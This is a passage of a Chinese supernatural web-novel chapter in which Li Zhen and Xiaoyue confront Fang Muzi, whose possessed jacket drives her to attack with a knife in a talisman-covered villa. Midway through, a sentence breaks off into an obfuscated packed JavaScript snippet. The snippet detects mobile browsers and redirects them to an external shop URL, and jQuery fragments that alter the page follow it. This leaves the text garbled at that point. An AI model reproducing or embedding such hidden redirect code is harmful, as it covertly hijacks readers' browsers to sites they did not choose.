黎楱小心翼翼地踏过地上的符咒,走到楼梯口,家具堆满了半个楼梯,向上望去,一片漆黑,像是在阻止某些东西出来。
小月跑到黎楱身后,捏了捏她的手,黎楱回头,余光瞥见方木子站在客厅中央,仰着头望着天花板上的华丽吊灯,上面同样贴满了符咒,让光线变得昏黄。
而方木子身体站得笔直,脑袋还在不断往后垂,几乎快要对折。她又高又手,鼻梁高,眼窝深,像是从动漫中走出来的纸片人。
“你在看什么?”黎楱问。方木子越发奇怪了,但她不知道异常来源于哪,因此看向方木子的眼神变成了审视和疑惑。
方木子像是刚回过神来,对上她的视线,皱了皱眉,“我也不知道怎么回事?我之前提前跟师叔说了我们要来的,他说会在家等我们。”说完她又怕黎楱不相信似的,补充,“真的。”
“但你们一直通过发信息联系的。”黎楱说道。
方木子愣住了,“你......什么意思?”
“我的意思是,或许他是故意引我们来这里——”黎楱话还没说完,便被方木子打断,“不可能。”
“又或许,跟你联系的人根本不是你师叔。”黎楱说出另一种可能。
如果这是陷阱,对方的目的是什么呢?难道是她体内的饿死鬼?而目前想要她体内饿死鬼的,只有越澄的族人了。
可如果是他们设的陷阱,又为什么还要半路拦截,多次一举呢?
黎楱下意识看了看手腕,越澄的手环没什么反应,很安静。
“你......刚才看到那些人影了对吧?”方木子突兀地问。她盯着黎楱,体态有点僵硬,是一种防御姿态。
黎楱犹豫了一会,决定实话实说,“没有。”
事实上,靠近这栋别墅的时候,她什么也没看到,里面从始至终都一片漆黑。当时没有觉得奇怪是因为方木子曾告诉过她自己有阴阳眼,从小看到的世界就跟别人不一样。
这样的人,有些怪异的举动也很正常,只是现在的方木子似乎异常过头了。
“没看到?”方木子皱了皱眉,像想强压下什么,扯出一个僵硬的笑容,“也是,也是。那你体内——”方木子还想问些什么,只见黎楱手上突然燃起蓝火朝自己袭来,她心跳骤停,没来得及反应,好在蓝火与她擦肩而过,哗啦一声,身后落地窗的玻璃应声而碎。
黎楱冲到碎裂的玻璃窗前,观察了一番,神情疑惑。
就在刚才,她看见客厅露台上的灯闪了闪,玻璃门上突然贴上了一个人,那个人通体发白,带着紫色的假发,眼神直勾勾地盯着方木子,可等她冲上前时,那个人就不见了。
黎楱解释:“刚才有个人贴在那里,我出去看......”“看”字还没说完,黎楱察觉到了异常,转身,发现小月不知道什么时候站在自己面前,张开双手,护着她。
方木子脸上仍然挂着笑容,而眼睛却丝毫笑意也没有,她左手捏着一个符咒,微微颤抖。
黎楱也警惕起来,但收起了蓝火,依旧努力解释:“是真的,那个人戴着假发,不对,它不像是人,更像是......”黎楱回忆那瞬间的面容,但实在是难以形容。
方木子打断了她:“这里什么都没有。出来我们三人,就只有你体内的两只恶鬼。”
黎楱惊愕:“两只?”
“你是故意的!”方木子突然吼道,“你在骗我!是你把我引到这里来的!你想吃了我!”她胸口起伏,怒目圆睁,害怕又愤怒。
而这些天的怀疑与恐惧也终于找到了出口。
自从遇见黎楱开始,恐惧感就环绕在方木子心中。她从小就缺乏安全感,十分胆小,经常被那些天生就能看到的东西吓破胆。后来跟着师父学习术法,有了能对付它们的能力之后就好很多了。
直到那天捡回了黎楱,心底那股恐惧感再次显露出来。
当时看黎楱倒在血泊里,担心她死掉,才把她带回家,也是那个时候发现对方似乎不是人类。她没有正常人的体温,心跳也很微弱,有时甚至连呼吸也没有。
起初方木子以为黎楱就是恶鬼,但观察后发现她并不是,整个人呈现出一种非常奇怪的状态,即:躯体、魂魄、恶鬼三者分离,魂魄和恶鬼在“黎楱”这个躯体里共存。
她的身体被恶鬼侵蚀,但她似乎对此一无所知。
黎楱醒来后,方木子曾问过她,黎楱也很坦然跟她讲了自己在场域的经历,对于自己身体产生的变化,她似乎也不是很在意。
但她知道,黎楱隐瞒了她。
“我体内确实有一只饿死鬼,少了一部分,不过我能使用它的能力。”
“一只?”
“嗯。”黎楱面无表情地点头。
那她肚子里的另一个东西是什么呢?
突然,方木子听到了一声啼哭,从黎楱身体里传出来的啼哭,然而黎楱依旧面无表情地扒着米饭。
无论她体内有什么,她已经不是人了。
“你在说什么?”黎楱强压住体内涌起的灼烧感,试图让方木子恢复理智,“如果我要吃了你,早就可以动手了,为什么非要把你带到这里来?”
“你就是要吃了我。”方木子笃定,她感到一股窒息感,三人在车里的时候就有这种感觉,现在这种感觉逐渐加剧,搅得她脑子混沌不清,心里有个声音在叫嚣:“杀了她,不让她就会杀了你。”
“她不对。”小月像是发现了什么,突然开口,“她身上有东西。”
“东西?”黎楱静静观察方木子,发现她身上的外套变小了,几乎要贴到她身上了。
这个外套是从服装批发市场带来的。方木子对衣服的要求很高,在服装搭配上也有自己的理念。认为对衣服的选择能体现出一个人的人格。
在两人相处了一个星期后,方木子便对黎楱的穿衣审美进行了全方位的评价:“虽然你看着好像没什么搭配,事实上每件衣服都料子都特别贵且舒服,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083408|189255||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
而且百分百合适你。说明你这个人表面看着没什么情绪,实则控制欲很强,挑剔并且脾气也不是很好。”
“到底是人穿衣还是衣穿人?”黎楱质疑对她这个毫无逻辑,并且不严谨的理论。但两人的关系并没有到可以进行这种深度聊天的程度,所以也只是在心里吐槽了一句。
而如果根据方木子的理论,从她自己的穿衣风格来看,她应该是一个浮夸、活泼且非常以自我中心的人。
但事实上,方木子不浮夸,有点内向,还有点讨好型人格,而以自我为中心这一点,指体现在方木子对衣服的选择上吧,也是十分挑剔严苛的。
那为什么挑剔严苛的方木子会选择将这一件不符合自己审美的牛仔外套穿在身上呢?明明在蛇族人到来前,她还换了衣服。
因为这件衣服有问题,想让方木子穿上。
“木子,你的外套有问题,它在影响你。”黎楱手里燃起一道蓝火,盯着方木子的外套,发现它正在缓缓蠕动。
很奇怪,衣服在蠕动,好像里面缝了小虫子一样。
就在这时,方木子突然动作,朝黎楱扔来一个符咒,符咒正好砸在她胸口,无效,却砸到了小月,小月的头发烧了起来。
“哎呀。”小月手忙脚乱扑腾起来,黎楱收起蓝火帮小月灭火,但手还没伸过去,小月便跑到墙边,脑袋朝上面砸去。
黎楱一时慌乱,下一刻,一道人影冲向前,只见寒光一闪,肩膀处涌出一股热流——方木子带了刀。
黎楱我住她继续要向下挥动的手,伸脚将她绊倒在地,顺便将她的刀卸了下来,接着,手心燃起蓝火,朝方木子袭去。
方木子表情扭曲,发出惨叫:“啊啊啊!”
然而黎楱并没有攻击她,而是攻击她的外套。因为她的火无法烧掉普通的无生命物和人,只能烧非人类。
然后方木子另一只手够到了地上的刀具,恶狠狠地朝黎楱挥来,黎楱闪身躲过,发现方木子身上的蓝火又熄灭了,只烧掉了一截袖子。
黎楱的身体状况也不好,使用蓝火很艰难。雪上加霜的是,她觉得心口一阵疼痛,又涌出一大口血。
“咳咳咳。”黎楱四肢有些发软,只能勉强躲过方木子的攻击。
好在小月终于熄灭掉脑袋上的火焰,过来拖住了方木子。她抱着方木子的腰,将她往后挪,让她尽可能远离黎楱。
一阵狂风吹过,三人都停止了动作。
愣了几秒后,黎楱回头望向漆黑山林,看了看手腕发亮的银环,瞬间做了决断,转头对小月说:“拜托你帮我个忙,把她的外套扒下来,然后带着她离开。我去引开她们。”
还没等小月回应,黎楱便没入了黑暗中。
而此时的方木子也平静了下来。小月观察了半响,确定她不会做出攻击举动,才缓缓放开她,然后才有了一股想哭的冲动。
“我......我干了什么?”方木子回过神来,看见手上沾着血的匕首,惊恐道。